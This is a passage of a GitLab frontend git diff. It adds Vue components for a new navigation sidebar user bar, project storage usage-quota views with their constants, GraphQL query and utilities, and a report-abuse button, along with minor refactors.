+ <div class="gl-px-3">
+ <bottom-bar />
+ </div>
+ </div>
+ </aside>
+</template>
diff --git a/app/assets/javascripts/super_sidebar/components/user_bar.vue b/app/assets/javascripts/super_sidebar/components/user_bar.vue
new file mode 100644
index 00000000000..7ee1776bf07
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/components/user_bar.vue
@@ -0,0 +1,77 @@
+<script>
+import { GlAvatar, GlDropdown, GlIcon } from '@gitlab/ui';
+import { __ } from '~/locale';
+import SafeHtml from '~/vue_shared/directives/safe_html';
+import NewNavToggle from '~/nav/components/new_nav_toggle.vue';
+import logo from '../../../../views/shared/_logo.svg';
+import Counter from './counter.vue';
+
+export default {
+ logo,
+ components: {
+ GlAvatar,
+ GlDropdown,
+ GlIcon,
+ NewNavToggle,
+ Counter,
+ },
+ i18n: {
+ issues: __('Issues'),
+ mergeRequests: __('Merge requests'),
+ todoList: __('To-Do list'),
+ },
+ directives: {
+ SafeHtml,
+ },
+ inject: ['rootPath', 'toggleNewNavEndpoint'],
+ props: {
+ sidebarData: {
+ type: Object,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="user-bar">
+ <div class="gl-display-flex gl-align-items-center gl-px-3 gl-py-2 gl-gap-3">
+ <div class="gl-flex-grow-1">
+ <a v-safe-html="$options.logo" :href="rootPath"></a>
+ </div>
+ <gl-dropdown variant="link" no-caret>
+ <template #button-content>
+ <gl-icon name="plus" class="gl-vertical-align-middle gl-text-black-normal" />
+ </template>
+ </gl-dropdown>
+ <button class="gl-border-none">
+ <gl-icon name="search" class="gl-vertical-align-middle" />
+ </button>
+ <gl-dropdown data-testid="user-dropdown" variant="link" no-caret>
+ <template #button-content>
+ <gl-avatar :entity-name="sidebarData.name" :src="sidebarData.avatar_url" :size="32" />
+ </template>
+ <new-nav-toggle :endpoint="toggleNewNavEndpoint" enabled />
+ </gl-dropdown>
+ </div>
+ <div class="gl-display-flex gl-justify-content-space-between gl-px-3 gl-py-2 gl-gap-2">
+ <counter
+ icon="issues"
+ :count="sidebarData.assigned_open_issues_count"
+ :href="sidebarData.issues_dashboard_path"
+ :label="$options.i18n.issues"
+ />
+ <counter
+ icon="merge-request-open"
+ :count="sidebarData.assigned_open_merge_requests_count"
+ :label="$options.i18n.mergeRequests"
+ />
+ <counter
+ icon="todo-done"
+ :count="sidebarData.todos_pending_count"
+ href="/dashboard/todos"
+ :label="$options.i18n.todoList"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/super_sidebar/mock_data.js b/app/assets/javascripts/super_sidebar/mock_data.js
new file mode 100644
index 00000000000..0d1ac006df7
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/mock_data.js
@@ -0,0 +1,59 @@
+import { s__ } from '~/locale';
+
+export const context = {
+ title: 'Typeahead.js',
+ link: '/',
+ avatar: 'https://gitlab.com/uploads/-/system/project/avatar/278964/project_avatar.png?width=32',
+};
+
+export const contextSwitcherItems = {
+ yourWork: { title: s__('Navigation|Your work'), link: '/', icon: 'work' },
+ recentProjects: [
+ {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ title: 'Orange',
+ subtitle: 'tropical-tree',
+ link: '/tropical-tree',
+ avatar:
+ 'https://gitlab.com/uploads/-/system/project/avatar/4456656/pajamas-logo.png?width=64',
+ },
+ {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ title: 'Lemon',
+ subtitle: 'tropical-tree',
+ link: '/tropical-tree',
+ avatar: 'https://gitlab.com/uploads/-/system/project/avatar/7071551/GitLab_UI.png?width=64',
+ },
+ {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ title: 'Coconut',
+ subtitle: 'tropical-tree',
+ link: '/tropical-tree',
+ avatar:
+ 'https://gitlab.com/uploads/-/system/project/avatar/4149988/SVGs_project.png?width=64',
+ },
+ ],
+ recentGroups: [
+ {
+ title: 'Developer Evangelism at GitLab',
+ subtitle: 'tropical-tree',
+ link: '/tropical-tree',
+ avatar:
+ 'https://gitlab.com/uploads/-/system/group/avatar/10087220/rainbow_tanuki.jpg?width=64',
+ },
+ {
+ title: 'security-products',
+ subtitle: 'tropical-tree',
+ link: '/tropical-tree',
+ avatar:
+ 'https://gitlab.com/uploads/-/system/group/avatar/11932235/gitlab-icon-rgb.png?width=64',
+ },
+ {
+ title: 'Tanuki-Workshops',
+ subtitle: 'tropical-tree',
+ link: '/tropical-tree',
+ avatar:
+ 'https://gitlab.com/uploads/-/system/group/avatar/5085244/Screenshot_2019-04-29_at_16.13.07.png?width=64',
+ },
+ ],
+};
diff --git a/app/assets/javascripts/super_sidebar/super_sidebar_bundle.js b/app/assets/javascripts/super_sidebar/super_sidebar_bundle.js
new file mode 100644
index 00000000000..b9c7073df8c
--- /dev/null
+++ b/app/assets/javascripts/super_sidebar/super_sidebar_bundle.js
@@ -0,0 +1,26 @@
+import Vue from 'vue';
+import SuperSidebar from './components/super_sidebar.vue';
+
+export const initSuperSidebar = () => {
+ const el = document.querySelector('.js-super-sidebar');
+
+ if (!el) return false;
+
+ const { rootPath, sidebar, toggleNewNavEndpoint } = el.dataset;
+
+ return new Vue({
+ el,
+ name: 'SuperSidebarRoot',
+ provide: {
+ rootPath,
+ toggleNewNavEndpoint,
+ },
+ render(h) {
+ return h(SuperSidebar, {
+ props: {
+ sidebarData: JSON.parse(sidebar),
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/syntax_highlight.js b/app/assets/javascripts/syntax_highlight.js
index 96b6e78c668..cb2bf24abc7 100644
--- a/app/assets/javascripts/syntax_highlight.js
+++ b/app/assets/javascripts/syntax_highlight.js
@@ -11,7 +11,7 @@
//
export default function syntaxHighlight($els = null) {
- if (!$els) return;
+ if (!$els || $els.length === 0) return;
const els = $els.get ? $els.get() : $els;
const handler = (el) => {
diff --git a/app/assets/javascripts/terraform/components/states_table.vue b/app/assets/javascripts/terraform/components/states_table.vue
index b19f92aaeb4..c88c528a632 100644
--- a/app/assets/javascripts/terraform/components/states_table.vue
+++ b/app/assets/javascripts/terraform/components/states_table.vue
@@ -11,14 +11,14 @@ import {
} from '@gitlab/ui';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { s__, sprintf } from '~/locale';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import StateActions from './states_table_actions.vue';
export default {
components: {
- CiBadge,
+ CiBadgeLink,
GlAlert,
GlBadge,
GlLink,
@@ -198,7 +198,7 @@ export default {
:id="`terraformJobStatusContainer${item.name}`"
class="gl-my-2"
>
- <ci-badge
+ <ci-badge-link
:id="`terraformJobStatus${item.name}`"
:status="pipelineDetailedStatus(item)"
class="gl-py-1"
diff --git a/app/assets/javascripts/usage_quotas/storage/components/project_storage_app.vue b/app/assets/javascripts/usage_quotas/storage/components/project_storage_app.vue
new file mode 100644
index 00000000000..94bc15fa0d0
--- /dev/null
+++ b/app/assets/javascripts/usage_quotas/storage/components/project_storage_app.vue
@@ -0,0 +1,134 @@
+<script>
+import { GlAlert, GlButton, GlLink, GlLoadingIcon } from '@gitlab/ui';
+import { sprintf } from '~/locale';
+import { updateRepositorySize } from '~/api/projects_api';
+import {
+ ERROR_MESSAGE,
+ LEARN_MORE_LABEL,
+ USAGE_QUOTAS_LABEL,
+ TOTAL_USAGE_TITLE,
+ TOTAL_USAGE_SUBTITLE,
+ TOTAL_USAGE_DEFAULT_TEXT,
+ HELP_LINK_ARIA_LABEL,
+ RECALCULATE_REPOSITORY_LABEL,
+ projectContainerRegistryPopoverContent,
+} from '../constants';
+import getProjectStorageStatistics from '../queries/project_storage.query.graphql';
+import { parseGetProjectStorageResults } from '../utils';
+import UsageGraph from './usage_graph.vue';
+import ProjectStorageDetail from './project_storage_detail.vue';
+
+export default {
+ name: 'ProjectStorageApp',
+ components: {
+ GlAlert,
+ GlButton,
+ GlLink,
+ GlLoadingIcon,
+ UsageGraph,
+ ProjectStorageDetail,
+ },
+ inject: ['projectPath', 'helpLinks'],
+ provide: {
+ containerRegistryPopoverContent: projectContainerRegistryPopoverContent,
+ },
+ apollo: {
+ project: {
+ query: getProjectStorageStatistics,
+ variables() {
+ return {
+ fullPath: this.projectPath,
+ };
+ },
+ update(data) {
+ return parseGetProjectStorageResults(data, this.helpLinks);
+ },
+ error() {
+ this.error = ERROR_MESSAGE;
+ },
+ },
+ },
+ data() {
+ return {
+ project: {},
+ error: '',
+ loadingRecalculateSize: false,
+ };
+ },
+ computed: {
+ totalUsage() {
+ return this.project?.storage?.totalUsage || TOTAL_USAGE_DEFAULT_TEXT;
+ },
+ storageTypes() {
+ return this.project?.storage?.storageTypes || [];
+ },
+ },
+ methods: {
+ clearError() {
+ this.error = '';
+ },
+ helpLinkAriaLabel(linkTitle) {
+ return sprintf(HELP_LINK_ARIA_LABEL, {
+ linkTitle,
+ });
+ },
+ async postRecalculateSize() {
+ const alertEl = document.querySelector('.js-recalculation-started-alert');
+
+ this.loadingRecalculateSize = true;
+
+ await updateRepositorySize(this.projectPath);
+
+ this.loadingRecalculateSize = false;
+ alertEl?.classList.remove('gl-display-none');
+ },
+ },
+ LEARN_MORE_LABEL,
+ USAGE_QUOTAS_LABEL,
+ TOTAL_USAGE_TITLE,
+ TOTAL_USAGE_SUBTITLE,
+ RECALCULATE_REPOSITORY_LABEL,
+};
+</script>
+<template>
+ <gl-loading-icon v-if="$apollo.queries.project.loading" class="gl-mt-5" size="lg" />
+ <gl-alert v-else-if="error" variant="danger" @dismiss="clearError">
+ {{ error }}
+ </gl-alert>
+ <div v-else>
+ <div class="gl-pt-5 gl-px-3">
+ <div class="gl-display-flex gl-justify-content-space-between gl-align-items-center">
+ <div>
+ <p class="gl-m-0 gl-font-lg gl-font-weight-bold">{{ $options.TOTAL_USAGE_TITLE }}</p>
+ <p class="gl-m-0 gl-text-gray-400">
+ {{ $options.TOTAL_USAGE_SUBTITLE }}
+ <gl-link
+ :href="helpLinks.usageQuotas"
+ target="_blank"
+ :aria-label="helpLinkAriaLabel($options.USAGE_QUOTAS_LABEL)"
+ data-testid="usage-quotas-help-link"
+ >
+ {{ $options.LEARN_MORE_LABEL }}
+ </gl-link>
+ </p>
+ </div>
+ <p class="gl-m-0 gl-font-size-h-display gl-font-weight-bold" data-testid="total-usage">
+ {{ totalUsage }}
+ </p>
+ </div>
+ </div>
+ <div v-if="project.statistics" class="gl-w-full">
+ <usage-graph :root-storage-statistics="project.statistics" :limit="0" />
+ </div>
+ <div class="gl-w-full gl-my-5">
+ <gl-button
+ :loading="loadingRecalculateSize"
+ category="secondary"
+ @click="postRecalculateSize"
+ >
+ {{ $options.RECALCULATE_REPOSITORY_LABEL }}
+ </gl-button>
+ </div>
+ <project-storage-detail :storage-types="storageTypes" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/usage_quotas/storage/components/project_storage_detail.vue b/app/assets/javascripts/usage_quotas/storage/components/project_storage_detail.vue
new file mode 100644
index 00000000000..2b97886e650
--- /dev/null
+++ b/app/assets/javascripts/usage_quotas/storage/components/project_storage_detail.vue
@@ -0,0 +1,142 @@
+<script>
+import { GlIcon, GlLink, GlSprintf, GlTableLite, GlPopover } from '@gitlab/ui';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import { thWidthPercent } from '~/lib/utils/table_utility';
+import { sprintf } from '~/locale';
+import {
+ HELP_LINK_ARIA_LABEL,
+ PROJECT_TABLE_LABEL_STORAGE_TYPE,
+ PROJECT_TABLE_LABEL_USAGE,
+ containerRegistryId,
+ containerRegistryPopoverId,
+ uploadsId,
+ uploadsPopoverId,
+ uploadsPopoverContent,
+} from '../constants';
+import { descendingStorageUsageSort } from '../utils';
+import StorageTypeIcon from './storage_type_icon.vue';
+
+export default {
+ name: 'ProjectStorageDetail',
+ components: {
+ GlLink,
+ GlIcon,
+ GlTableLite,
+ GlSprintf,
+ StorageTypeIcon,
+ GlPopover,
+ },
+ inject: ['containerRegistryPopoverContent'],
+ props: {
+ storageTypes: {
+ type: Array,
+ required: true,
+ },
+ },
+ computed: {
+ sizeSortedStorageTypes() {
+ const warnings = {
+ [containerRegistryId]: {
+ popoverId: containerRegistryPopoverId,
+ popoverContent: this.containerRegistryPopoverContent,
+ },
+ [uploadsId]: {
+ popoverId: uploadsPopoverId,
+ popoverContent: this.$options.i18n.uploadsPopoverContent,
+ },
+ };
+
+ return this.storageTypes
+ .map((type) => {
+ const warning = warnings[type.storageType.id] || null;
+ return {
+ warning,
+ ...type,
+ };
+ })
+ .sort(descendingStorageUsageSort('value'));
+ },
+ },
+ methods: {
+ helpLinkAriaLabel(linkTitle) {
+ return sprintf(HELP_LINK_ARIA_LABEL, {
+ linkTitle,
+ });
+ },
+ numberToHumanSize,
+ },
+ projectTableFields: [
+ {
+ key: 'storageType',
+ label: PROJECT_TABLE_LABEL_STORAGE_TYPE,
+ thClass: thWidthPercent(90),
+ },
+ {
+ key: 'value',
+ label: PROJECT_TABLE_LABEL_USAGE,
+ thClass: thWidthPercent(10),
+ },
+ ],
+ i18n: {
+ uploadsPopoverContent,
+ },
+};
+</script>
+<template>
+ <gl-table-lite :items="sizeSortedStorageTypes" :fields="$options.projectTableFields">
+ <template #cell(storageType)="{ item }">
+ <div class="gl-display-flex gl-flex-direction-row">
+ <storage-type-icon
+ :name="item.storageType.id"
+ :data-testid="`${item.storageType.id}-icon`"
+ />
+ <div>
+ <p class="gl-font-weight-bold gl-mb-0" :data-testid="`${item.storageType.id}-name`">
+ {{ item.storageType.name }}
+ <gl-link
+ v-if="item.storageType.helpPath"
+ :href="item.storageType.helpPath"
+ target="_blank"
+ :aria-label="helpLinkAriaLabel(item.storageType.name)"
+ :data-testid="`${item.storageType.id}-help-link`"
+ >
+ <gl-icon name="question" :size="12" />
+ </gl-link>
+ </p>
+ <p class="gl-mb-0" :data-testid="`${item.storageType.id}-description`">
+ {{ item.storageType.description }}
+ </p>
+ <p v-if="item.storageType.warningMessage" class="gl-mb-0 gl-font-sm">
+ <gl-icon name="warning" :size="12" />
+ <gl-sprintf :message="item.storageType.warningMessage">
+ <template #warningLink="{ content }">
+ <gl-link :href="item.storageType.warningLink" target="_blank" class="gl-font-sm">{{
+ content
+ }}</gl-link>
+ </template>
+ </gl-sprintf>
+ </p>
+ </div>
+ </div>
+ </template>
+
+ <template #cell(value)="{ item }">
+ {{ numberToHumanSize(item.value, 1) }}
+
+ <template v-if="item.warning">
+ <gl-icon
+ :id="item.warning.popoverId"
+ name="warning"
+ class="gl-mt-2 gl-lg-mt-0 gl-lg-ml-2"
+ />
+ <gl-popover
+ triggers="hover focus"
+ placement="top"
+ :target="item.warning.popoverId"
+ :content="item.warning.popoverContent"
+ :data-testid="item.warning.popoverId"
+ />
+ </template>
+ </template>
+ </gl-table-lite>
+</template>
diff --git a/app/assets/javascripts/usage_quotas/storage/components/storage_type_icon.vue b/app/assets/javascripts/usage_quotas/storage/components/storage_type_icon.vue
new file mode 100644
index 00000000000..bc7cd42df1e
--- /dev/null
+++ b/app/assets/javascripts/usage_quotas/storage/components/storage_type_icon.vue
@@ -0,0 +1,35 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+
+export default {
+ components: { GlIcon },
+ props: {
+ name: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ methods: {
+ iconName(storageTypeName) {
+ const defaultStorageTypeIcon = 'disk';
+ const storageTypeIconMap = {
+ lfsObjectsSize: 'doc-image',
+ snippetsSize: 'snippet',
+ uploadsSize: 'upload',
+ repositorySize: 'infrastructure-registry',
+ packagesSize: 'package',
+ };
+
+ return storageTypeIconMap[`${storageTypeName}`] ?? defaultStorageTypeIcon;
+ },
+ },
+};
+</script>
+<template>
+ <span
+ class="gl-display-inline-flex gl-align-items-flex-start gl-justify-content-center gl-min-w-8 gl-pr-2 gl-pt-1"
+ >
+ <gl-icon :name="iconName(name)" :size="16" class="gl-mt-1" />
+ </span>
+</template>
diff --git a/app/assets/javascripts/usage_quotas/storage/components/usage_graph.vue b/app/assets/javascripts/usage_quotas/storage/components/usage_graph.vue
new file mode 100644
index 00000000000..7e001685060
--- /dev/null
+++ b/app/assets/javascripts/usage_quotas/storage/components/usage_graph.vue
@@ -0,0 +1,170 @@
+<script>
+import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import { PROJECT_STORAGE_TYPES } from '../constants';
+import { descendingStorageUsageSort } from '../utils';
+
+export default {
+ components: {
+ GlIcon,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ mixins: [glFeatureFlagMixin()],
+ props: {
+ rootStorageStatistics: {
+ required: true,
+ type: Object,
+ },
+ limit: {
+ required: true,
+ type: Number,
+ },
+ },
+ computed: {
+ storageTypes() {
+ const {
+ containerRegistrySize,
+ buildArtifactsSize,
+ pipelineArtifactsSize,
+ lfsObjectsSize,
+ packagesSize,
+ repositorySize,
+ storageSize,
+ wikiSize,
+ snippetsSize,
+ uploadsSize,
+ } = this.rootStorageStatistics;
+ const artifactsSize = buildArtifactsSize + pipelineArtifactsSize;
+
+ if (storageSize === 0) {
+ return null;
+ }
+
+ return [
+ {
+ id: 'repositorySize',
+ style: this.usageStyle(this.barRatio(repositorySize)),
+ class: 'gl-bg-data-viz-blue-500',
+ size: repositorySize,
+ },
+ {
+ id: 'lfsObjectsSize',
+ style: this.usageStyle(this.barRatio(lfsObjectsSize)),
+ class: 'gl-bg-data-viz-orange-600',
+ size: lfsObjectsSize,
+ },
+ {
+ id: 'packagesSize',
+ style: this.usageStyle(this.barRatio(packagesSize)),
+ class: 'gl-bg-data-viz-aqua-500',
+ size: packagesSize,
+ },
+ {
+ id: 'containerRegistrySize',
+ style: this.usageStyle(this.barRatio(containerRegistrySize)),
+ class: 'gl-bg-data-viz-aqua-800',
+ size: containerRegistrySize,
+ },
+ {
+ id: 'buildArtifactsSize',
+ style: this.usageStyle(this.barRatio(artifactsSize)),
+ class: 'gl-bg-data-viz-green-600',
+ size: artifactsSize,
+ },
+ {
+ id: 'wikiSize',
+ style: this.usageStyle(this.barRatio(wikiSize)),
+ class: 'gl-bg-data-viz-magenta-500',
+ size: wikiSize,
+ },
+ {
+ id: 'snippetsSize',
+ style: this.usageStyle(this.barRatio(snippetsSize)),
+ class: 'gl-bg-data-viz-orange-800',
+ size: snippetsSize,
+ },
+ {
+ id: 'uploadsSize',
+ style: this.usageStyle(this.barRatio(uploadsSize)),
+ class: 'gl-bg-data-viz-aqua-700',
+ size: uploadsSize,
+ },
+ ]
+ .filter((data) => data.size !== 0)
+ .sort(descendingStorageUsageSort('size'))
+ .map((storageType) => {
+ const storageTypeExtraData = PROJECT_STORAGE_TYPES.find(
+ (type) => storageType.id === type.id,
+ );
+ const { name, tooltip } = storageTypeExtraData || {};
+
+ return {
+ name,
+ tooltip,
+ ...storageType,
+ };
+ });
+ },
+ },
+ methods: {
+ formatSize(size) {
+ return numberToHumanSize(size);
+ },
+ usageStyle(ratio) {
+ return { flex: ratio };
+ },
+ barRatio(size) {
+ let max = this.rootStorageStatistics.storageSize;
+
+ if (this.limit !== 0 && max <= this.limit) {
+ max = this.limit;
+ }
+
+ return size / max;
+ },
+ },
+};
+</script>
+<template>
+ <div v-if="storageTypes" class="gl-display-flex gl-flex-direction-column w-100">
+ <div class="gl-h-6 gl-my-5 gl-bg-gray-50 gl-rounded-base gl-display-flex">
+ <div
+ v-for="storageType in storageTypes"
+ :key="storageType.name"
+ class="storage-type-usage gl-h-full gl-display-inline-block"
+ :class="storageType.class"
+ :style="storageType.style"
+ data-testid="storage-type-usage"
+ ></div>
+ </div>
+ <div class="row gl-mb-4">
+ <div
+ v-for="storageType in storageTypes"
+ :key="storageType.name"
+ class="col-md-auto gl-display-flex gl-align-items-center"
+ data-testid="storage-type-legend"
+ data-qa-selector="storage_type_legend"
+ >
+ <div class="gl-h-2 gl-w-5 gl-mr-2 gl-display-inline-block" :class="storageType.class"></div>
+ <span class="gl-mr-2 gl-font-weight-bold gl-font-sm">
+ {{ storageType.name }}
+ </span>
+ <span class="gl-text-gray-500 gl-font-sm">
+ {{ formatSize(storageType.size) }}
+ </span>
+ <span
+ v-if="storageType.tooltip"
+ v-gl-tooltip
+ :title="storageType.tooltip"
+ :aria-label="storageType.tooltip"
+ class="gl-ml-2"
+ >
+ <gl-icon name="question" :size="12" />
+ </span>
+ </div>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/usage_quotas/storage/constants.js b/app/assets/javascripts/usage_quotas/storage/constants.js
new file mode 100644
index 00000000000..fab18cefc60
--- /dev/null
+++ b/app/assets/javascripts/usage_quotas/storage/constants.js
@@ -0,0 +1,100 @@
+import { s__, __ } from '~/locale';
+import { helpPagePath } from '~/helpers/help_page_helper';
+
+export const ERROR_MESSAGE = s__(
+ 'UsageQuota|Something went wrong while fetching project storage statistics',
+);
+export const LEARN_MORE_LABEL = __('Learn more.');
+export const USAGE_QUOTAS_LABEL = s__('UsageQuota|Usage Quotas');
+export const TOTAL_USAGE_TITLE = s__('UsageQuota|Usage breakdown');
+export const TOTAL_USAGE_SUBTITLE = s__(
+ 'UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items.',
+);
+export const TOTAL_USAGE_DEFAULT_TEXT = __('Not applicable.');
+export const HELP_LINK_ARIA_LABEL = s__('UsageQuota|%{linkTitle} help link');
+export const RECALCULATE_REPOSITORY_LABEL = s__('UsageQuota|Recalculate repository usage');
+
+export const projectContainerRegistryPopoverContent = s__(
+ 'UsageQuotas|The project-level storage statistics for the Container Registry are directional only and do not include savings for instance-wide deduplication.',
+);
+
+export const containerRegistryId = 'containerRegistrySize';
+export const containerRegistryPopoverId = 'container-registry-popover';
+export const uploadsId = 'uploadsSize';
+export const uploadsPopoverId = 'uploads-popover';
+export const uploadsPopoverContent = s__(
+ 'NamespaceStorage|Uploads are not counted in namespace storage quotas.',
+);
+
+export const PROJECT_TABLE_LABEL_PROJECT = __('Project');
+export const PROJECT_TABLE_LABEL_STORAGE_TYPE = s__('UsageQuota|Storage type');
+export const PROJECT_TABLE_LABEL_USAGE = s__('UsageQuota|Usage');
+
+export const PROJECT_STORAGE_TYPES = [
+ {
+ id: 'containerRegistrySize',
+ name: s__('UsageQuota|Container Registry'),
+ description: s__(
+ 'UsageQuota|Gitlab-integrated Docker Container Registry for storing Docker Images.',
+ ),
+ },
+ {
+ id: 'buildArtifactsSize',
+ name: s__('UsageQuota|Artifacts'),
+ description: s__('UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD.'),
+ tooltip: s__('UsageQuota|Artifacts is a sum of build and pipeline artifacts.'),
+ },
+ {
+ id: 'lfsObjectsSize',
+ name: s__('UsageQuota|LFS storage'),
+ description: s__('UsageQuota|Audio samples, videos, datasets, and graphics.'),
+ },
+ {
+ id: 'packagesSize',
+ name: s__('UsageQuota|Packages'),
+ description: s__('UsageQuota|Code packages and container images.'),
+ },
+ {
+ id: 'repositorySize',
+ name: s__('UsageQuota|Repository'),
+ description: s__('UsageQuota|Git repository.'),
+ },
+ {
+ id: 'snippetsSize',
+ name: s__('UsageQuota|Snippets'),
+ description: s__('UsageQuota|Shared bits of code and text.'),
+ },
+ {
+ id: 'uploadsSize',
+ name: s__('UsageQuota|Uploads'),
+ description: s__('UsageQuota|File attachments and smaller design graphics.'),
+ },
+ {
+ id: 'wikiSize',
+ name: s__('UsageQuota|Wiki'),
+ description: s__('UsageQuota|Wiki content.'),
+ },
+];
+
+export const projectHelpPaths = {
+ containerRegistry: helpPagePath(
+ 'user/packages/container_registry/reduce_container_registry_storage',
+ ),
+ usageQuotas: helpPagePath('user/usage_quotas'),
+ usageQuotasNamespaceStorageLimit: helpPagePath('user/usage_quotas', {
+ anchor: 'namespace-storage-limit',
+ }),
+ buildArtifacts: helpPagePath('ci/pipelines/job_artifacts', {
+ anchor: 'when-job-artifacts-are-deleted',
+ }),
+ packages: helpPagePath('user/packages/package_registry/index.md', {
+ anchor: 'reduce-storage-usage',
+ }),
+ repository: helpPagePath('user/project/repository/reducing_the_repo_size_using_git'),
+ snippets: helpPagePath('user/snippets', {
+ anchor: 'reduce-snippets-repository-size',
+ }),
+ wiki: helpPagePath('administration/wikis/index.md', {
+ anchor: 'reduce-wiki-repository-size',
+ }),
+};
diff --git a/app/assets/javascripts/usage_quotas/storage/init_project_storage.js b/app/assets/javascripts/usage_quotas/storage/init_project_storage.js
new file mode 100644
index 00000000000..00cb274902d
--- /dev/null
+++ b/app/assets/javascripts/usage_quotas/storage/init_project_storage.js
@@ -0,0 +1,34 @@
+import Vue from 'vue';
+import VueApollo from 'vue-apollo';
+import createDefaultClient from '~/lib/graphql';
+import { projectHelpPaths as helpLinks } from './constants';
+import ProjectStorageApp from './components/project_storage_app.vue';
+
+Vue.use(VueApollo);
+
+export default (containerId = 'js-project-storage-count-app') => {
+ const el = document.getElementById(containerId);
+
+ if (!el) {
+ return false;
+ }
+
+ const { projectPath } = el.dataset;
+
+ const apolloProvider = new VueApollo({
+ defaultClient: createDefaultClient(),
+ });
+
+ return new Vue({
+ el,
+ apolloProvider,
+ name: 'ProjectStorageApp',
+ provide: {
+ projectPath,
+ helpLinks,
+ },
+ render(createElement) {
+ return createElement(ProjectStorageApp);
+ },
+ });
+};
diff --git a/app/assets/javascripts/usage_quotas/storage/queries/project_storage.query.graphql b/app/assets/javascripts/usage_quotas/storage/queries/project_storage.query.graphql
new file mode 100644
index 00000000000..6637e5e0865
--- /dev/null
+++ b/app/assets/javascripts/usage_quotas/storage/queries/project_storage.query.graphql
@@ -0,0 +1,17 @@
+query getProjectStorageStatistics($fullPath: ID!) {
+ project(fullPath: $fullPath) {
+ id
+ statistics {
+ containerRegistrySize
+ buildArtifactsSize
+ pipelineArtifactsSize
+ lfsObjectsSize
+ packagesSize
+ repositorySize
+ snippetsSize
+ storageSize
+ uploadsSize
+ wikiSize
+ }
+ }
+}
diff --git a/app/assets/javascripts/usage_quotas/storage/utils.js b/app/assets/javascripts/usage_quotas/storage/utils.js
new file mode 100644
index 00000000000..443788f650d
--- /dev/null
+++ b/app/assets/javascripts/usage_quotas/storage/utils.js
@@ -0,0 +1,49 @@
+import { numberToHumanSize } from '~/lib/utils/number_utils';
+import { PROJECT_STORAGE_TYPES } from './constants';
+
+export const getStorageTypesFromProjectStatistics = (projectStatistics, helpLinks = {}) =>
+ PROJECT_STORAGE_TYPES.reduce((types, currentType) => {
+ const helpPathKey = currentType.id.replace(`Size`, ``);
+ const helpPath = helpLinks[helpPathKey];
+
+ return types.concat({
+ storageType: {
+ ...currentType,
+ helpPath,
+ },
+ value: projectStatistics[currentType.id],
+ });
+ }, []);
+
+/**
+ * This method parses the results from `getProjectStorageStatistics` call.
+ *
+ * @param {Object} data graphql result
+ * @returns {Object}
+ */
+export const parseGetProjectStorageResults = (data, helpLinks) => {
+ const projectStatistics = data?.project?.statistics;
+ if (!projectStatistics) {
+ return {};
+ }
+ const { storageSize } = projectStatistics;
+ const storageTypes = getStorageTypesFromProjectStatistics(projectStatistics, helpLinks);
+
+ return {
+ storage: {
+ totalUsage: numberToHumanSize(storageSize, 1),
+ storageTypes,
+ },
+ statistics: projectStatistics,
+ };
+};
+
+/**
+ * Creates a sorting function to sort storage types by usage in the graph and in the table
+ *
+ * @param {string} storageUsageKey key storing value of storage usage
+ * @returns {Function} sorting function
+ */
+export function descendingStorageUsageSort(storageUsageKey) {
+ return (a, b) => b[storageUsageKey] - a[storageUsageKey];
+}
diff --git a/app/assets/javascripts/users/profile/components/report_abuse_button.vue b/app/assets/javascripts/users/profile/components/report_abuse_button.vue
new file mode 100644
index 00000000000..aabb7fde396
--- /dev/null
+++ b/app/assets/javascripts/users/profile/components/report_abuse_button.vue
@@ -0,0 +1,55 @@
+<script>
+import { GlButton, GlTooltipDirective } from '@gitlab/ui';
+import { __ } from '~/locale';
+import { BV_HIDE_TOOLTIP } from '~/lib/utils/constants';
+
+import AbuseCategorySelector from '~/abuse_reports/components/abuse_category_selector.vue';
+
+export default {
+ name: 'ReportAbuseButton',
+ components: {
+ GlButton,
+ AbuseCategorySelector,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ i18n: {
+ reportAbuse: __('Report abuse to administrator'),
+ },
+ data() {
+ return {
+ open: false,
+ };
+ },
+ computed: {
+ buttonTooltipText() {
+ return this.$options.i18n.reportAbuse;
+ },
+ },
+ methods: {
+ openDrawer() {
+ this.open = true;
+ },
+ closeDrawer() {
+ this.open = false;
+ },
+ hideTooltips() {
+ this.$root.$emit(BV_HIDE_TOOLTIP);
+ },
+ },
+};
+</script>
+<template>
+ <span>
+ <gl-button
+ v-gl-tooltip="buttonTooltipText"
+ category="primary"
+ :aria-label="buttonTooltipText"
+ icon="error"
+ @click="openDrawer"
+ @mouseout="hideTooltips"
+ />
+ <abuse-category-selector :show-drawer="open" @close-drawer="closeDrawer" />
+ </span>
+</template>
diff --git a/app/assets/javascripts/users/profile/index.js b/app/assets/javascripts/users/profile/index.js
new file mode 100644
index 00000000000..37f8e3ac471
--- /dev/null
+++ b/app/assets/javascripts/users/profile/index.js
@@ -0,0 +1,18 @@
+import Vue from 'vue';
+import ReportAbuseButton from './components/report_abuse_button.vue';
+
+export const initReportAbuse = () => {
+ const el = document.getElementById('js-report-abuse');
+
+ if (!el) return false;
+
+ const { reportAbusePath, reportedUserId, reportedFromUrl } = el.dataset;
+
+ return new Vue({
+ el,
+ provide: { reportAbusePath, reportedUserId, reportedFromUrl },
+ render(createElement) {
